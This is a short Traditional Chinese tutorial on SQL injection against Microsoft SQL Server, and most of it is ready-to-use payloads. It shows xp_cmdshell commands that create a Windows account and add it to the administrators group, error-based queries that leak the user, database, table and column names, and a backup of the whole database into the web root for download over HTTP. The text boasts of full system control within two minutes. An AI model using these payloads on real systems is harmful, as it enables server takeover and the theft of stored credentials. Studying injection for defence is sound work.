SQL Server 功能強大且緊密整合作業系統,若配置不當(如使用 sa 連線),注入者可透過系統表與擴展預存程序達到作業系統級奪權。
; EXEC master..xp_cmdshell 'net user name passWord /add' --
; 分隔多條 T-SQL 陳述式。-- 註解掉後續原始碼。xp_cmdshell 執行 OS 命令。上例新增 Windows 帳號。; EXEC master..xp_cmdshell 'net localgroup administrators name /add' --
將新帳號加入管理員群組。**兩分鐘內拿到系統最高權限。** 前提:資料庫連線使用 sa 權限(否則無權呼叫 xp_cmdshell)。
AND USER > 0:USER 為 NVARCHAR,與 INT 比較觸發轉換錯誤,錯誤訊息直接洩露連線用戶名(如 dbo 代表 sa)。AND DB_NAME() > 0:同理洩露目前資料庫名稱。; BACKUP DATABASE [dbname] TO DISK='c:\inetpub\wwwroot\1.db' --
結合 DB_NAME() 取得資料庫名、IIS 錯誤頁洩露的絕對路徑,將完整資料庫備份至 Web 根目錄,**透過 HTTP 直接下載包含所有帳號密碼的 .bak 檔**。極其隱蔽且破壞力驚人。
SQL Server 系統表 sysobjects 記錄所有使用者物件:
AND (SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE='U' AND STATUS>0) > 0
錯誤訊息回顯表名。後續表名可用 NOT IN 或游標邏輯遞迴獲取。AND (SELECT TOP 1 COL_NAME(OBJECT_ID('表名'), 1) FROM SYSOBJECTS) > 0
OBJECT_ID 取表內部 ID,COL_NAME(id, 序號) 取欄位名。序號遞增遍歷所有欄位。對 SQL Server 內部機制的深度理解,直接決定注入成功率與速度。安全研究反哺開發能力,二者本為一體兩面。